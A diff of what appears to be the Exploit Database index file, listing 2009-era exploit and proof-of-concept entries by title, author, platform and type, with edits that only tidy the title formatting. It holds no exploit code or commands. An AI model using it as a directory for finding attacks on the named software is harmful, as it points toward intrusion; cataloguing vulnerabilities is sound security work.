 9321,platforms/windows/local/9321.pl,"Destiny Media Player 1.61 (.pls) Universal Buffer Overflow Exploit (SEH)",2009-08-01,"ThE g0bL!N",windows,local,0
 9322,platforms/php/webapps/9322.txt,"MAXcms 3.11.20b Multiple Remote File Inclusion Vulnerabilities",2009-08-01,NoGe,php,webapps,0
 9323,platforms/multiple/dos/9323.txt,"VirtualBox 2.2 - 3.0.2 r49928 Local Host Reboot PoC",2009-08-01,"Tadas Vilkeliskis",multiple,dos,0
 9324,platforms/php/webapps/9324.txt,"Joomla Component com_jfusion (Itemid) Blind SQL Injection Vuln",2009-08-01,"Chip D3 Bi0s",php,webapps,0
 9325,platforms/php/webapps/9325.txt,"PortalXP - Teacher Edition 1.2 Multiple SQL Injection Vulnerabilities",2009-08-01,SirGod,php,webapps,0
 9326,platforms/php/webapps/9326.txt,"aa33code 0.0.1 (LFI/Auth Bypass/DCD) Multiple Remote Vulnerabilites",2009-08-01,SirGod,php,webapps,0
-9327,platforms/php/webapps/9327.txt,"Mobilelib Gold v3 (Auth Bypass/SQL) Multiple Remote Vulnerabilities",2009-08-01,SwEET-DeViL,php,webapps,0
+9327,platforms/php/webapps/9327.txt,"Mobilelib Gold 3.0 - (Auth Bypass/SQL) Multiple Remote Vulnerabilities",2009-08-01,SwEET-DeViL,php,webapps,0
 9328,platforms/asp/webapps/9328.txt,"AW BannerAd (Auth Bypass) SQL Injection Vulnerability",2009-08-03,Ro0T-MaFia,asp,webapps,0
 9329,platforms/windows/local/9329.pl,"BlazeDVD 5.1 Professional (.PLF File) Local Buffer Overflow Exploit (SEH)",2009-08-03,hack4love,windows,local,0
 9330,platforms/windows/remote/9330.py,"Amaya 11.2 W3C Editor/Browser (defer) Remote BOF Exploit (SEH)",2009-08-03,His0k4,windows,remote,0
@@ -8843,7 +8843,7 @@ id,file,description,date,author,platform,type,port
 9369,platforms/php/webapps/9369.txt,"Irokez CMS 0.7.1 Remote SQL Injection Vulnerability",2009-08-05,Ins3t,php,webapps,0
 9370,platforms/php/webapps/9370.txt,"AccessoriesMe PHP Affiliate Script 1.4 (bSQL-XSS) Multiple Vulns",2009-08-05,Moudi,php,webapps,0
 9371,platforms/php/webapps/9371.txt,"OpenNews 1.0 (SQLI/RCE) Multiple Remote Vulnerabilities",2009-08-05,SirGod,php,webapps,0
-9372,platforms/php/webapps/9372.txt,"Portel v2008 (decide.php patron) Blind SQL Injection Vulnerability",2009-08-05,"Chip D3 Bi0s",php,webapps,0
+9372,platforms/php/webapps/9372.txt,"Portel 2008 - (decide.php patron) Blind SQL Injection Vulnerability",2009-08-05,"Chip D3 Bi0s",php,webapps,0
 9373,platforms/freebsd/dos/9373.c,"FreeBSD 7.2-RELEASE SCTP Local Kernel Denial of Service Exploit",2009-08-06,"Shaun Colley",freebsd,dos,0
 9375,platforms/windows/local/9375.py,"JetAudio 7.1.9.4030 Universal Stack Overflow Exploit (SEH)",2009-08-06,Dr_IDE,windows,local,0
 9376,platforms/windows/dos/9376.py,"jetAudio <= 7.5.5 plus vx (M3U/ASX/WAX/WVX) Local Crash PoC",2009-09-10,Dr_IDE,windows,dos,0
@@ -8893,7 +8893,7 @@ id,file,description,date,author,platform,type,port
 9426,platforms/windows/local/9426.java,"FTPShell Client 4.1 RC2 Name Session Stack Overflow Exploit",2009-08-13,zec,windows,local,0
 9427,platforms/windows/dos/9427.py,"VLC Media Player 1.0.0/1.0.1 smb:// URI Handling BOF PoC",2009-08-13,Dr_IDE,windows,dos,0
 9428,platforms/windows/local/9428.pl,"pIPL 2.5.0 (.PLS /.PL) Universal Local Buffer Exploit (SEH)",2009-08-13,hack4love,windows,local,0
-9429,platforms/windows/dos/9429.py,"EmbedThis Appweb v3.0B.2-4 Multiple Remote Buffer Overflow PoC",2009-08-13,Dr_IDE,windows,dos,0
+9429,platforms/windows/dos/9429.py,"EmbedThis Appweb 3.0B.2-4 - Multiple Remote Buffer Overflow PoC",2009-08-13,Dr_IDE,windows,dos,0
 9430,platforms/php/webapps/9430.pl,"JBLOG 1.5.1 Remote SQL Table Backup Exploit",2009-08-13,Ams,php,webapps,0
 9431,platforms/php/webapps/9431.txt,"Wordpress Plugin WP-Syntax <= 0.9.1 Remote Command Execution",2009-08-27,Raz0r,php,webapps,0
 9432,platforms/hardware/remote/9432.txt,"THOMSON ST585 (user.ini) Arbitrary Download Vulnerability",2009-08-13,"aBo MoHaMeD",hardware,remote,0
@@ -8916,16 +8916,16 @@ id,file,description,date,author,platform,type,port
 9450,platforms/php/webapps/9450.txt,"Vtiger CRM 5.0.4 (RCE/CSRF/LFI/XSS) Multiple Vulnerabilities",2009-08-18,USH,php,webapps,0
 9451,platforms/php/webapps/9451.txt,"Dreampics Builder (exhibition_id) Remote SQL Injection Vulnerability",2009-08-18,Mr.SQL,php,webapps,0
 9452,platforms/php/webapps/9452.pl,"Arcadem Pro 2.8 (article) Blind SQL Injection Exploit",2009-08-18,Mr.SQL,php,webapps,0
-9453,platforms/php/webapps/9453.txt,"Videos Broadcast Yourself V2 (UploadID) SQL Injection Vuln",2009-08-18,Mr.SQL,php,webapps,0
+9453,platforms/php/webapps/9453.txt,"Videos Broadcast Yourself 2 - (UploadID) SQL Injection Vuln",2009-08-18,Mr.SQL,php,webapps,0
 9454,platforms/multiple/dos/9454.txt,"Safari 4.0.2 (WebKit Parsing of Floating Point Numbers) BOF PoC",2009-08-18,"Leon Juranic",multiple,dos,0
 9455,platforms/windows/dos/9455.html,"MS Internet Explorer (Javascript SetAttribute) Remote Crash Exploit",2009-08-18,"Irfan Asrar",windows,dos,0
 9456,platforms/hardware/remote/9456.txt,"ZTE ZXDSL 831 II Modem Arbitrary Add Admin User Vulnerability",2009-08-18,SuNHouSe2,hardware,remote,0
 9457,platforms/windows/dos/9457.pl,"broid 1.0 Beta 3a (.mp3 File) Local Buffer Overflow PoC",2009-08-18,hack4love,windows,dos,0
 9458,platforms/windows/local/9458.pl,"Xenorate Media Player 2.6.0.0 (.xpl) Universal Local Buffer Exploit (SEH)",2009-08-18,hack4love,windows,local,0
-9459,platforms/php/webapps/9459.txt,"2WIRE Gateway (Auth Bypass & Password Reset)  Vulnerabilities #2",2009-08-18,bugz,php,webapps,0
+9459,platforms/php/webapps/9459.txt,"2WIRE Gateway (Auth Bypass & Password Reset) Vulnerabilities #2",2009-08-18,bugz,php,webapps,0
 9460,platforms/php/webapps/9460.txt,"Autonomous LAN party <= 0.98.3 Remote File Inclusion Vulnerability",2009-08-18,cr4wl3r,php,webapps,0
 9461,platforms/php/webapps/9461.txt,"E Cms <= 1.0 (index.php s) Remote SQL Injection Vulnerability",2009-08-18,Red-D3v1L,php,webapps,0
-9462,platforms/php/webapps/9462.txt,"Infinity <= 2.x.x  options[style_dir] Local File Disclosure Vulnerability",2009-08-18,SwEET-DeViL,php,webapps,0
+9462,platforms/php/webapps/9462.txt,"Infinity <= 2.x.x options[style_dir] Local File Disclosure Vulnerability",2009-08-18,SwEET-DeViL,php,webapps,0
 9463,platforms/php/webapps/9463.php,"Joomla Component MisterEstate Blind SQL Injection Exploit",2009-08-18,jdc,php,webapps,0
 9464,platforms/php/webapps/9464.txt,"Fotoshow PRO (category) Remote SQL Injection Vulnerability",2009-08-18,darkmasking,php,webapps,0
 9465,platforms/php/webapps/9465.txt,"phpfreeBB 1.0 Remote BLIND SQL Injection Vulnerability",2009-08-18,Moudi,php,webapps,0
@@ -8950,23 +8950,23 @@ id,file,description,date,author,platform,type,port
 9484,platforms/php/webapps/9484.txt,"PHP Dir Submit (aid) Remote SQL Injection Vulnerability",2009-08-24,Mr.tro0oqy,php,webapps,0
 9485,platforms/php/webapps/9485.txt,"Cuteflow 2.10.3 edituser.php Security Bypass Vulnerability",2009-08-24,"Hever Costa Rocha",php,webapps,0
 9486,platforms/windows/local/9486.pl,"KSP 2006 FINAL (.M3U) Universal Local Buffer Exploit (SEH)",2009-08-24,hack4love,windows,local,0
-9487,platforms/windows/dos/9487.pl,"Faslo Player 7.0  (.m3u) Local Buffer Overflow PoC",2009-08-24,hack4love,windows,dos,0
+9487,platforms/windows/dos/9487.pl,"Faslo Player 7.0 (.m3u) Local Buffer Overflow PoC",2009-08-24,hack4love,windows,dos,0
 9488,platforms/freebsd/local/9488.c,"FreeBSD <= 6.1 kqueue() NULL pointer Dereference Local Root Exploit",2009-08-24,"Przemyslaw Frasunek",freebsd,local,0
 9489,platforms/multiple/local/9489.txt,"Multiple BSD Operating Systems setusercontext() Vulnerabilities",2009-08-24,Kingcope,multiple,local,0
 9490,platforms/php/webapps/9490.txt,"Lanai Core 0.6 Remote File Disclosure / Info Disclosure Vulns",2009-08-24,IRCRASH,php,webapps,0
-9491,platforms/php/webapps/9491.txt,"Dow Group (new.php)  SQL Injection",2009-11-16,ProF.Code,php,webapps,0
+9491,platforms/php/webapps/9491.txt,"Dow Group (new.php) SQL Injection",2009-11-16,ProF.Code,php,webapps,0
 9492,platforms/windows/local/9492.c,"Avast! 4.8.1335 Professional Local Kernel Buffer Overflow Exploit",2009-08-24,Heurs,windows,local,0
 9493,platforms/php/webapps/9493.txt,"Uebimiau Webmail 3.2.0-2.0 Arbitrary Database Disclosure Vuln",2009-08-24,Septemb0x,php,webapps,0
 9494,platforms/php/webapps/9494.txt,"humanCMS (Auth Bypass) SQL Injection Vulnerability",2009-08-24,next,php,webapps,0
 9495,platforms/windows/local/9495.pl,"Fat Player 0.6b (.wav File) Universal Local Buffer Exploit",2009-08-24,ahwak2000,windows,local,0
 9496,platforms/windows/dos/9496.txt,"WAR-FTPD 1.65 (MKD/CD Requests) Denial of Service Vuln",2009-08-24,"opt!x hacker",windows,dos,0
-9497,platforms/php/webapps/9497.pl,"ITechBids 8.0 (itechd.php productid)  Blind SQL Injection Exploit",2009-08-24,Mr.SQL,php,webapps,0
+9497,platforms/php/webapps/9497.pl,"ITechBids 8.0 (itechd.php productid) Blind SQL Injection Exploit",2009-08-24,Mr.SQL,php,webapps,0
 9498,platforms/hardware/remote/9498.txt,"Netgear WNR2000 FW 1.2.0.8 Information Disclsoure Vulnerabilities",2009-08-24,"Jean Trolleur",hardware,remote,0
 9499,platforms/php/webapps/9499.txt,"New5starRating 1.0 (rating.php) SQL Injection Vulnerability",2009-08-24,Bgh7,php,webapps,0
 9500,platforms/windows/remote/9500.cpp,"NaviCopa Web Server 3.01 Remote Buffer Overflow Exploit",2009-08-24,SimO-s0fT,windows,remote,0
 9501,platforms/windows/local/9501.py,"Audacity <= 1.2 (.gro File) Universal BOF Exploit (egg hunter)",2009-08-24,mr_me,windows,local,0
 9502,platforms/php/webapps/9502.txt,"Joomla Component com_ninjamonial 1.1 (testimID) SQL Injection Vuln",2009-08-24,"Chip D3 Bi0s",php,webapps,0
-9503,platforms/hardware/remote/9503.txt,"Huawei SmartAX MT880 Multiple XSRF Vulnerabilities",2009-08-24,"Jerome Athias",hardware,remote,0
+9503,platforms/hardware/remote/9503.txt,"Huawei SmartAX MT880 - Multiple CSRF Vulnerabilities",2009-08-24,"Jerome Athias",hardware,remote,0
 9504,platforms/php/webapps/9504.txt,"Joomla Component com_jtips 1.0.x (season) bSQL Injection Vuln",2009-08-24,"Chip D3 Bi0s",php,webapps,0
 9505,platforms/php/webapps/9505.txt,"Geeklog <= 1.6.0sr1 Remote Arbitrary File Upload Vulnerability",2009-08-24,JaL0h,php,webapps,0
 9506,platforms/windows/dos/9506.pl,"FLIP Flash Album Deluxe 1.8.407.1 (.fft File) Crash PoC",2009-08-24,the_Edit0r,windows,dos,0
@@ -9009,7 +9009,7 @@ id,file,description,date,author,platform,type,port
 9544,platforms/php/webapps/9544.txt,"Modern Script <= 5.0 (index.php s) SQL Injection Vulnerability",2009-08-31,Red-D3v1L,php,webapps,0
 9545,platforms/linux/local/9545.c,"Linux Kernel 2.4/2.6 sock_sendpage() Local Root Exploit (ppc)",2009-08-31,"Ramon Valle",linux,local,0
 9546,platforms/windows/dos/9546.pl,"Swift Ultralite 1.032 (.M3U) Local Buffer Overflow PoC",2009-08-31,hack4love,windows,dos,0
-9547,platforms/windows/dos/9547.pl,"SolarWinds TFTP Server <=9.2.0.111 Remote DoS Exploit",2009-08-31,"Gaurav Baruah",windows,dos,0
+9547,platforms/windows/dos/9547.pl,"SolarWinds TFTP Server <= 9.2.0.111 - Remote DoS Exploit",2009-08-31,"Gaurav Baruah",windows,dos,0
 9548,platforms/windows/local/9548.pl,"Ultimate Player 1.56b (.m3u/upl) Universal Local BOF Exploit (SEH)",2009-08-31,hack4love,windows,local,0
 9549,platforms/windows/dos/9549.c,"MailEnable 1.52 HTTP Mail Service Stack BOF Exploit PoC",2009-08-31,"fl0 fl0w",windows,dos,0
 9550,platforms/windows/local/9550.txt,"Hex Workshop 4.23//5.1//6.0 (.hex) Universal Local BOF Exploits (SEH)",2009-08-31,hack4love,windows,local,0
@@ -9132,7 +9132,7 @@ id,file,description,date,author,platform,type,port
 9671,platforms/windows/dos/9671.py,"Tuniac v.090517c (.PLS File) Local Crash PoC",2009-09-14,zAx,windows,dos,0
 9672,platforms/windows/dos/9672.py,"PowerISO 4.0 Local Buffer Overflow PoC",2009-09-14,Dr_IDE,windows,dos,0
 9673,platforms/windows/remote/9673.py,"BigAnt Server 2.50 GET Request Remote BOF Exploit (SEH) 0day",2009-09-15,Blake,windows,remote,6660
-9674,platforms/php/webapps/9674.txt,"Three Pillars Help Desk v3 (Auth Bypass) SQL Injection Vulnerability",2009-09-15,Snakespc,php,webapps,0
+9674,platforms/php/webapps/9674.txt,"Three Pillars Help Desk 3.0 - (Auth Bypass) SQL Injection Vulnerability",2009-09-15,Snakespc,php,webapps,0
 9675,platforms/asp/webapps/9675.txt,"HotWeb Rentals (details.asp PropId) Blind SQL Injection Vuln",2009-09-15,R3d-D3v!L,asp,webapps,0
 9676,platforms/windows/remote/9676.txt,"BRS Webweaver 1.33 /Scripts Access Restriction Bypass Vulnerability",2009-09-15,"Usman Saeed",windows,remote,0
 9677,platforms/windows/dos/9677.c,"HERO SUPER PLAYER 3000 .M3U File Buffer Overflow POC",2009-09-15,"fl0 fl0w",windows,dos,0
@@ -9173,16 +9173,16 @@ id,file,description,date,author,platform,type,port
 9714,platforms/multiple/webapps/9714.txt,"Mambo com_koesubmit 1.0.0 Remote File Inclusion",2009-10-18,"Don Tukulesto",multiple,webapps,0
 9715,platforms/multiple/webapps/9715.txt,"Zainu - Version 1.0 Remote SQL Injection Vulnerability",2009-09-18,Snakespc,multiple,webapps,0
 9716,platforms/multiple/webapps/9716.txt,"Network Management/Inventory System [header.php] Remote File Include",2009-09-18,"EA Ngel",multiple,webapps,0
-9717,platforms/windows/dos/9717.txt,"Xerver HTTP Server <= v4.32 Remote Denial of Service",2009-09-18,Dr_IDE,windows,dos,0
-9718,platforms/multiple/remote/9718.txt,"Xerver HTTP Server v4.32 XSS / Directory Traversal Vulnerability",2009-09-18,Stack,multiple,remote,0
+9717,platforms/windows/dos/9717.txt,"Xerver HTTP Server <= 4.32 - Remote Denial of Service",2009-09-18,Dr_IDE,windows,dos,0
+9718,platforms/multiple/remote/9718.txt,"Xerver HTTP Server 4.32 - XSS / Directory Traversal Vulnerability",2009-09-18,Stack,multiple,remote,0
 9719,platforms/multiple/webapps/9719.txt,"FanUpdate 2.2.1 show-cat.php SQL Injection Vulnerability",2009-09-18,"(In)Security Romania",multiple,webapps,0
 9720,platforms/multiple/webapps/9720.txt,"FSphp 0.2.1 Multiple Remote File Inclusion Vulnerabilities",2009-09-18,NoGe,multiple,webapps,0
 9721,platforms/multiple/webapps/9721.txt,"Joomla com_surveymanager SQL injection vulnerability - (stype)",2009-09-21,kaMtiEz,multiple,webapps,0
 9722,platforms/multiple/webapps/9722.txt,"DDL CMS 1.0 Multiple Remote File Inclusion Vulnerabilities",2009-09-21,HxH,multiple,webapps,0
 9723,platforms/multiple/webapps/9723.txt,"Joomla com_jbudgetsmagic SQL injection vulnerability - (bid)",2009-09-21,kaMtiEz,multiple,webapps,0
 9724,platforms/multiple/webapps/9724.txt,"BAnner ROtation System mini Multiple Remote File Inclusion",2009-09-21,"EA Ngel",multiple,webapps,0
-9726,platforms/multiple/webapps/9726.py,"cP Creator v2.7.1 Remote Sql Injection",2009-09-21,"Sina Yazdanmehr",multiple,webapps,0
-9727,platforms/multiple/webapps/9727.txt,"CMScontrol (Content Management Portal Solutions)  Sql Injection",2009-09-21,ph1l1ster,multiple,webapps,0
+9726,platforms/multiple/webapps/9726.py,"cP Creator 2.7.1 - Remote Sql Injection",2009-09-21,"Sina Yazdanmehr",multiple,webapps,0
+9727,platforms/multiple/webapps/9727.txt,"CMScontrol (Content Management Portal Solutions) Sql Injection",2009-09-21,ph1l1ster,multiple,webapps,0
 9728,platforms/multiple/webapps/9728.txt,"ProdLer <= 2.0 Remote File Include Vulnerability",2009-09-21,cr4wl3r,multiple,webapps,0
 9729,platforms/multiple/webapps/9729.txt,"Loggix Project <= 9.4.5 Multiple Remote File Include Vulnerability",2009-09-21,cr4wl3r,multiple,webapps,0
 9730,platforms/multiple/webapps/9730.txt,"WX Guestbook 1.1.208 SQLi and persistent XSS",2009-09-21,learn3r,multiple,webapps,0
@@ -9233,17 +9233,17 @@ id,file,description,date,author,platform,type,port
 9841,platforms/asp/webapps/9841.txt,"BPHolidayLettings 1.0 Blind SQL Injection",2009-09-22,"OoN Boy",asp,webapps,0
 9842,platforms/php/local/9842.txt,"PHP 5.3.0 pdflib Arbitrary File Write",2009-11-06,"Sina Yazdanmehr",php,local,0
 9843,platforms/multiple/remote/9843.txt,"Blender 2.34, 2.35a, 2.4, 2.49b .blend File Command Injection",2009-11-05,"Core Security",multiple,remote,0
-9844,platforms/linux/local/9844.py,"Linux Kernel 2.4.1-2.4.37 and 2.6.1-2.6.32-rc5  Pipe.c Privelege Escalation",2009-11-05,"Matthew Bergin",linux,local,0
+9844,platforms/linux/local/9844.py,"Linux Kernel 2.4.1-2.4.37 and 2.6.1-2.6.32-rc5 Pipe.c Privelege Escalation",2009-11-05,"Matthew Bergin",linux,local,0
 9845,platforms/osx/local/9845.c,"OSX 10.5.6-10.5.7 ptrace mutex DoS",2009-11-05,prdelka,osx,local,0
 9846,platforms/php/webapps/9846.txt,"Endonessia CMS 8.4 Loccal File Inclusion",2009-11-04,s4r4d0,php,webapps,0
-9847,platforms/php/webapps/9847.txt,"Portili Personal and Team Wiki <=1.14 Multiple Vulnerabilities",2009-11-04,Abysssec,php,webapps,0
+9847,platforms/php/webapps/9847.txt,"Portili Personal and Team Wiki <= 1.14 - Multiple Vulnerabilities",2009-11-04,Abysssec,php,webapps,0
 9849,platforms/php/webapps/9849.php,"PunBB Extension Attachment <= 1.0.2 SQL Injection",2009-11-03,puret_t,php,webapps,0
 9850,platforms/php/webapps/9850.txt,"Xerox Fiery Webtools SQL Injection",2009-11-03,"Bernardo Trigo",php,webapps,0
 9851,platforms/windows/remote/9851.pl,"Xion Audio Player 1.0 121 .m3u file Buffer Overflow",2009-11-03,corelanc0d3r,windows,remote,0
 9852,platforms/windows/dos/9852.py,"Home FTP Server 1.10.1.139 'SITE INDEX' Command Remote Denial of Service",2009-11-16,zhangmc,windows,dos,21
 9853,platforms/windows/remote/9853.rb,"Symantec ConsoleUtilities ActiveX Buffer Overflow",2009-11-02,"Nikolas Sotiriu",windows,remote,0
 9854,platforms/php/webapps/9854.txt,"TFTgallery .13 Directory Traversal Exploit",2009-11-02,Blake,php,webapps,0
-9855,platforms/php/webapps/9855.txt,"Geeklog <= v1.6.0sr2 -  Remote File Upload",2009-10-03,JaL0h,php,webapps,0
+9855,platforms/php/webapps/9855.txt,"Geeklog <= 1.6.0sr2 - Remote File Upload",2009-10-03,JaL0h,php,webapps,0
 9856,platforms/asp/webapps/9856.txt,"Snitz Forums 2000 Multiple Cross-Site Scripting	Vulnerabilities",2009-10-15,"Andrea Fabrizi",asp,webapps,0
 9857,platforms/asp/webapps/9857.txt,"AfterLogic WebMail Pro 4.7.10 xss",2009-10-05,"Sébastien Duquette",asp,webapps,0
 9858,platforms/hardware/remote/9858.txt,"Riorey RIOS Hardcoded Password Vulnerability 4.7.0",2009-10-08,"Marek Kroemeke",hardware,remote,8022
@@ -9257,7 +9257,7 @@ id,file,description,date,author,platform,type,port
 9867,platforms/php/webapps/9867.txt,"Amiro.CMS <= 5.4.0.0 folder disclosure",2009-10-19,"Vladimir Vorontsov",php,webapps,0
 9871,platforms/windows/local/9871.txt,"Boloto Media Player 1.0.0.9 pls file DoS",2009-10-27,Dr_IDE,windows,local,0
 9872,platforms/multiple/webapps/9872.txt,"Boxalino 09.05.25-0421 Directory Traversal",2009-10-20,"Axel Neumann",multiple,webapps,0
-9873,platforms/windows/webapps/9873.txt,"Cherokee <=0.5.4 directory traversal",2009-10-28,Dr_IDE,windows,webapps,0
+9873,platforms/windows/webapps/9873.txt,"Cherokee <= 0.5.4 - Directory Traversal",2009-10-28,Dr_IDE,windows,webapps,0
 9874,platforms/windows/webapps/9874.txt,"Cherokee web server 0.5.4 DoS",2009-10-26,"Usman Saeed",windows,webapps,0
 9875,platforms/php/webapps/9875.txt,"CubeCart 4 Session Management Bypass",2009-10-30,"Bogdan Calin",php,webapps,0
 9876,platforms/php/webapps/9876.txt,"DedeCMS 5.1 SQL Injection",2009-10-14,"Securitylab Security Research",php,webapps,0
@@ -9288,7 +9288,7 @@ id,file,description,date,author,platform,type,port
 9904,platforms/asp/webapps/9904.txt,"PSArt 1.2 SQL Injection Vulnerability",2009-10-30,"Securitylab Research",asp,webapps,0
 9905,platforms/windows/remote/9905.cpp,"Oracle Database 10.1.0.5 - 10.2.0.4 AUTH_SESSKEY length validation exploit",2009-10-30,"Dennis Yurichev",windows,remote,1521
 9906,platforms/php/webapps/9906.rb,"Mambo 4.6.4 Cache Lite Output Remote File Inclusion",2008-06-14,MC,php,webapps,0
-9907,platforms/cgi/webapps/9907.rb,"The Matt Wright guestbook.pl <=2.3.1 Server Side Include Vulnerability",1999-11-05,patrick,cgi,webapps,0
+9907,platforms/cgi/webapps/9907.rb,"The Matt Wright guestbook.pl <= 2.3.1 - Server Side Include Vulnerability",1999-11-05,patrick,cgi,webapps,0
 9908,platforms/php/webapps/9908.rb,"BASE <= 1.2.4 base_qry_common.php Remote File Inclusion",2008-06-14,MC,php,webapps,0
 9909,platforms/cgi/webapps/9909.rb,"AWStats 6.4-6.5 AllowToUpdateStatsFromBrowser Command Injection",2006-05-04,patrick,cgi,webapps,0
 9910,platforms/php/webapps/9910.rb,"Dogfood CRM 2.0.10 spell.php Command Injection",2009-03-03,LSO,php,webapps,0
@@ -9332,7 +9332,7 @@ id,file,description,date,author,platform,type,port
 9950,platforms/linux/remote/9950.rb,"Samba 3.0.21-3.0.24 LSA trans names Heap Overflow",2007-05-14,"Adriano Lima",linux,remote,0
 9951,platforms/multiple/remote/9951.rb,"Squid 2.5.x, 3.x NTLM Buffer Overflow",2004-06-08,skape,multiple,remote,3129
 9952,platforms/linux/remote/9952.rb,"Poptop < 1.1.3-b3 and 1.1.3-20030409 Negative Read Overflow",2003-04-09,spoonm,linux,remote,1723
-9953,platforms/linux/remote/9953.rb,"MySQL <=6.0 yaSSL <= 1.7.5 Hello Message Buffer Overflow",2008-01-04,MC,linux,remote,3306
+9953,platforms/linux/remote/9953.rb,"MySQL <= 6.0 yaSSL <= 1.7.5 Hello Message Buffer Overflow",2008-01-04,MC,linux,remote,3306
 9954,platforms/linux/remote/9954.rb,"Borland InterBase 2007 PWD_db_aliased Buffer Overflow",2007-10-03,"Adriano Lima",linux,remote,3050
 9955,platforms/hardware/local/9955.txt,"Overland Guardian OS 5.1.041 privilege escalation",2009-10-20,trompele,hardware,local,0
 9956,platforms/hardware/dos/9956.txt,"Palm Pre WebOS 1.1 DoS",2009-10-14,"Townsend Harris",hardware,dos,0
@@ -9347,14 +9347,14 @@ id,file,description,date,author,platform,type,port
 9965,platforms/php/webapps/9965.txt,"RunCMS 2ma post.php SQL injection",2009-10-26,bookoo,php,webapps,0
 9966,platforms/windows/remote/9966.txt,"Serv-u web client 9.0.0.5 buffer overflow",2009-11-02,"Nikolas Rangos",windows,remote,80
 9967,platforms/asp/webapps/9967.txt,"SharePoint 2007 Team Services source code disclosure",2009-10-26,"Daniel Martin",asp,webapps,0
-9969,platforms/multiple/dos/9969.txt,"Snort <= 2.8.5 IPv6 DoS",2009-10-23,"laurent gaffie",multiple,dos,0
+9969,platforms/multiple/dos/9969.txt,"Snort <= 2.8.5 - IPv6 DoS",2009-10-23,"Laurent Gaffie",multiple,dos,0
 9970,platforms/windows/local/9970.txt,"South River Technologies WebDrive Service privilege escalation",2009-10-20,bellick,windows,local,0
 9971,platforms/windows/local/9971.php,"Spider Solitaire PoC",2009-10-15,SirGod,windows,local,0
 9972,platforms/multiple/remote/9972.c,"SSL MITM Vulnerability",2009-11-09,"Pavel Kankovsky",multiple,remote,0
 9973,platforms/multiple/local/9973.sh,"Sun VirtualBox <= 3.0.6 privilege escalation",2009-10-17,prdelka,multiple,local,0
 9974,platforms/windows/local/9974.pl,"AIMP2 Audio Converter Playlist (SEH)",2009-11-16,corelanc0d3r,windows,local,0
-9975,platforms/hardware/webapps/9975.txt,"Alteon OS BBI (Nortell) - Multiple Vulnerabilities XSS XSRF",2009-11-16,"Alexey Sintsov",hardware,webapps,80
-9978,platforms/php/webapps/9978.txt,"TwonkyMedia Server <=4.4.17, <=5.0.65 xss",2009-10-23,"Davide Canali",php,webapps,0
+9975,platforms/hardware/webapps/9975.txt,"Alteon OS BBI (Nortell) - Multiple Vulnerabilities XSS and CSRF",2009-11-16,"Alexey Sintsov",hardware,webapps,80
+9978,platforms/php/webapps/9978.txt,"TwonkyMedia Server <= 4.4.17 & <= 5.0.65 - XSS",2009-10-23,"Davide Canali",php,webapps,0
 9979,platforms/php/webapps/9979.txt,"Vivvo CMS 4.1.5.1 file disclosure",2009-10-22,"Janek Vind",php,webapps,0
 9980,platforms/hardware/webapps/9980.txt,"Websense Email Security DoS",2009-10-20,"Nikolas Sotiriu",hardware,webapps,0
 9981,platforms/hardware/webapps/9981.txt,"Websense Email Security xss",2009-10-20,"Nikolas Sotiriu",hardware,webapps,0
@@ -9384,7 +9384,7 @@ id,file,description,date,author,platform,type,port
 10007,platforms/windows/remote/10007.html,"EasyMail Objects EMSMTP.DLL 6.0.1 ActiveX Control Remote Buffer Overflow Vulnerability",2009-11-12,"Will Dormann",windows,remote,0
 10008,platforms/windows/remote/10008.txt,"EMC Captiva QuickScan Pro 4.6 sp1 and EMC Documentum ApllicationXtender Desktop 5.4",2009-09-30,Pyrokinesis,windows,remote,0
 10009,platforms/windows/local/10009.txt,"Free Download Manager Torrent File Parsing Multiple Remote Buffer Overflow Vulnerabilities",2009-11-11,"Carsten Eiram",windows,local,0
-10010,platforms/windows/local/10010.txt,"Free WMA MP3 Converter v1.1 (.wav) Local Buffer Overflow",2009-10-09,KriPpLer,windows,local,0
+10010,platforms/windows/local/10010.txt,"Free WMA MP3 Converter 1.1 - (.wav) Local Buffer Overflow",2009-10-09,KriPpLer,windows,local,0
 10011,platforms/hardware/remote/10011.txt,"HP LaserJet printers - Multiple Stored XSS vulnerabilities",2009-10-07,"Digital Security Research Group",hardware,remote,80
 10012,platforms/multiple/webapps/10012.py,"html2ps 'include file' Server Side Include Directive Directory Traversal Vulnerability",2009-09-25,epiphant,multiple,webapps,0
 10013,platforms/jsp/webapps/10013.txt,"Hyperic HQ 3.2 - 4.2-beta1 Multiple XSS",2009-10-02,CoreLabs,jsp,webapps,0
@@ -9404,7 +9404,7 @@ id,file,description,date,author,platform,type,port
 10027,platforms/linux/remote/10027.rb,"PeerCast <= 0.1216",2006-03-08,MC,linux,remote,7144
 10028,platforms/cgi/remote/10028.rb,"Linksys WRT54G < 4.20.7 , WRT54GS < 1.05.2 apply.cgi Buffer Overflow",2005-09-13,"Raphael Rigo",cgi,remote,80
 10029,platforms/linux/remote/10029.rb,"Berlios GPSD 1.91-1 - 2.7-2 Format String Vulnerability",2005-05-25,"Yann Senotier",linux,remote,2947
-10030,platforms/linux/remote/10030.rb,"DD-WRT HTTP  v24-SP1 Command Injection Vulnerability",2009-07-20,"H D Moore",linux,remote,80
+10030,platforms/linux/remote/10030.rb,"DD-WRT HTTP v24-SP1 - Command Injection Vulnerability",2009-07-20,"H D Moore",linux,remote,80
 10031,platforms/cgi/webapps/10031.rb,"Alcatel-Lucent OmniPCX Enterprise Communication Server <= 7.1 masterCGI Command Injection",2007-09-17,patrick,cgi,webapps,443
 10032,platforms/linux/remote/10032.rb,"Unreal Tournament 2004 ""Secure"" Overflow",2004-07-18,onetwo,linux,remote,7787
 10033,platforms/irix/remote/10033.rb,"Irix LPD tagprinter Command Execution",2001-09-01,"H D Moore",irix,remote,515
@@ -9421,19 +9421,19 @@ id,file,description,date,author,platform,type,port
 10046,platforms/php/webapps/10046.txt,"Dazzle Blast Remote File Inclusion",2009-10-12,NoGe,php,webapps,0
 10047,platforms/windows/remote/10047.txt,"Femitter HTTP Server 1.03 Remote Source Disclosure",2009-10-12,Dr_IDE,windows,remote,80
 10049,platforms/php/webapps/10049.pl,"EZsneezyCal CMS 95.1-95.2 File Inclusion Vulnerability",2009-10-12,kaMtiEz,php,webapps,0
-10050,platforms/php/webapps/10050.pl,"EZRecipeZee CMS version 91 File Inclusion Vulnerability",2009-10-12,kaMtiEz,php,webapps,0
-10051,platforms/php/webapps/10051.txt,"QuickCart 3.x xss, xsrf, Local File Inclusion, Directory Traversal",2009-10-08,kl3ryk,php,webapps,0
+10050,platforms/php/webapps/10050.pl,"EZRecipeZee CMS 91 - File Inclusion Vulnerability",2009-10-12,kaMtiEz,php,webapps,0
